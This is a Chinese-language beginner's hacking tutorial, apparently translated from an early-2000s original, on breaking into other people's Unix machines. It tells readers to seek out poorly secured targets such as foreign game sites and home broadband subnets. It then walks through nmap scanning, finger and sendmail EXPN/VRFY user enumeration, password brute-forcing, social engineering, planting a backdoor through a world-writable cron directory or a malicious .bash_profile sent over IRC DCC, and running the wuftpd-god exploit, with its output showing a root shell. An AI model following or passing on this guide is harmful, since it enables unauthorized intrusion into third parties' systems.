1. 讀這篇文章的最好方法是一次把它讀完,然後再讀一遍。好吧,現在讓我們開始。我假設你已經有了一些基本的知識,知道telnet是什麼,一些基本的tcp/ip的知識等等。如果有一些你並不理解,不要猶豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。 需要的東西: 2. 我列出了一些在這篇教程中需要的東西。你可以在anti-secure.com和packetstorm.securify.com找到它們。用引擎找一下就可以了。 1. - superscan (for windows) 2. - nmap (for unix) 3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS) 4. - compiler on the shell 5. - wingates (you can use them as telnet proxys)
容易的目標: 3. 這裡我講一下如何找到一些容易的目標 1. 到altavista.com用日語或其他語言搜索「遊戲」,理由是這些站點的安全性較低 2. 掃描一個有很多服務的cable或者dsl子網,你可以用nmap,埠的狀態應當是open而不是close或者filtered,nmap的掃描報告會告訴你的。我將不會告訴你如何使用namp,原因是man page已經有作夠的信息了。 3. 確保nmap已經被安裝了。使用下面我給出的命令 (注意:$是一個普通的用戶,而#則是超級用戶。作為例子,我用了24.112.*.*,吧它替換成你想要掃瞄的ip) $ nmap -p 21,23 24.112.*.* 進入: 4. 為了能夠進入,你應當收集儘可能多的有關目標主機的信息。由於這是你的第一次入侵,所以確保它有一個笨笨的管理員。然後你可以使用exploit。我將在後面詳細解釋 列舉: 5. Ok 我們找到了目標。現在讓我們得到更多的信息。首先來telnet它的79埠。如果它是打開的,你就可以得到以登陸用戶的信息。僅僅是telnet然後按下回車。 讓我們假定埠是打開的並且允許我們查看在線用戶。看下面的例子: $ telnet target.domain 79 Trying IPaddress... Connected to target.domain. Escape character is ^].
Login Name Tty Idle Login Time Office Office Phone gt grahm crackhead /1 Sep 1 12:01 ok 如果你得到了一個login,把它記下來,然後找更多的login。或許你需要暴力窮句。你可以在www.packetstorm.securify.com 找到一個windows下的窮具工具。使用大量的單詞來窮舉那個賬號。如果你得到的消息是"no one is logged on" 或許你需要一個windows下的haktek。同樣,你可以在www.packetstorm.securify.com 找到它。Haketk能夠讓你監視finger進程並且紀錄登陸的人。這是很有用的。另一種方法,你可以用sendmail。如果他們有很多的用戶,你可以嘗試telnet並且找幾個有效的用戶名,還可以找幾個程序通過暴力法來完成。看下面,我給出了通過sendmail來得到有效的用戶名的例子— $ telnet target.domain 25 Trying IPaddress... Connected to target.domain. Escape character is ^].
220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400 expn wally 250 Wally Kolcun vrfy wally 250 Wally Kolcun expn Billy 550 BIlly... User Unknown 就像你所看到的,我telnet到他們的smtp,敲入expn,然後系統告訴我這是不是一個有效的用戶,最後我給出了一個用戶不存在的例子,當我敲入expn Billy,系統告訴我用戶不存在,然後我知道這不是一個合法的用戶。這同樣可以幫助你得到他們的email,然後你就可以嘗試一下社會工程學。 另一個搜集用戶名的方法可以是利用usenet, altavista,你可以搜索一下新聞組,或許可以得到一些有用的信息。 另一些可以利用的進程是 systat netstat等等。 telnet還可以幫助你判斷出對方的操作系統,當你想exploit時這是非常重要的。當telnet時,有些會給出系統信息,如下所示: Trying IPaddress... Connected to target.domain. Escape character is ^].
Red Hat Linux release 6.1 (Cartman) Kernal 2.2.12-20 on an i586 login: 你可以看到,系統是redhat 6.1 有些時候你可以使用社會工程學,拿Kevin Mitnick舉個例子。它使用社會工程學進入了Novell,一個很大的系統。它所作的只是像一個在那裡工作的人那樣和別人交談。他知道當時那裡的某人正在度假,但是他知道某人的名字。他打電話到了Novell的辦公室找那個人,然後秘書告訴他那個人正在度假,然後他說它需要和那個人聯繫,於是它便從秘書那裡得到了那個人的信息。 常見的失誤: 6. 人們會時不時的犯一些錯誤。這可以幫助你進入。某些人並不是很好的管理員。一個十分普遍的失誤是許可權設置上的錯誤。有些系統對所有人都開放了write許可權。這是一個很大的問題。讓我們舉個例子。某人把cron.daily的write許可權開放給所有人。你就可以上傳一個後門程序並通過cron進程來執行,從而得到系統的訪問權。 現在讓我來告訴你最可怕的事。假如某個用戶在系統上使用IRC,並且如果它把dcc文件傳送設置為自動接收,接受目錄為他的主目錄。你就可以傳給他一個.bash_profile,文件寫的好的話,可以讓他做一些事。例如添加一個用戶,或者把密碼郵寄給某人。很顯然這是進入系統的最簡單的方法。 緩衝溢出/exploiting: 7. 我不打算對緩衝溢出講得太深,我只想借是那是什麼然後進入下一節。 緩衝溢出—在進程上有一個叫緩衝限制的東西。緩衝限制限制了進入的位元組數。某些情況下,你可以通過特殊的代碼讓緩衝區溢出來得到一個root用戶或者普通用戶。有一個例子是wu-ftpd 2.6.0 (1)的緩衝溢出。下面我將告訴你: $ gcc wuftpd-god.c -o wuftpd-god $ ./wuftpd-god -h
Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x] [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir] target : host with any wuftpd user : anonymous user dir : if not anonymous user, you need to have writable directory magic_str : magic string (see exploit description) -g : enables magic string digging -x : enables test mode pass_addr : pointer to setproctitle argument ret_addr : this is pointer to shellcode systypes: 0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm 1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm 2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm 3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm 4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test) 5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports * 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages 7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports 8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages
$ ./wuftpd-god -s0 -t target.domain
Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system.. [32mUSER ftp [0m331 Guest login ok, send your complete e-mail address as password. [32mPASS [0m230-Next time please use your e-mail address as your password 230- for example: joe@cc456375-b.abdn1.md.home.com 230 Guest login ok, access restrictions apply. STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04] STEP 3 : Checking if we can reach our return address by format string Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)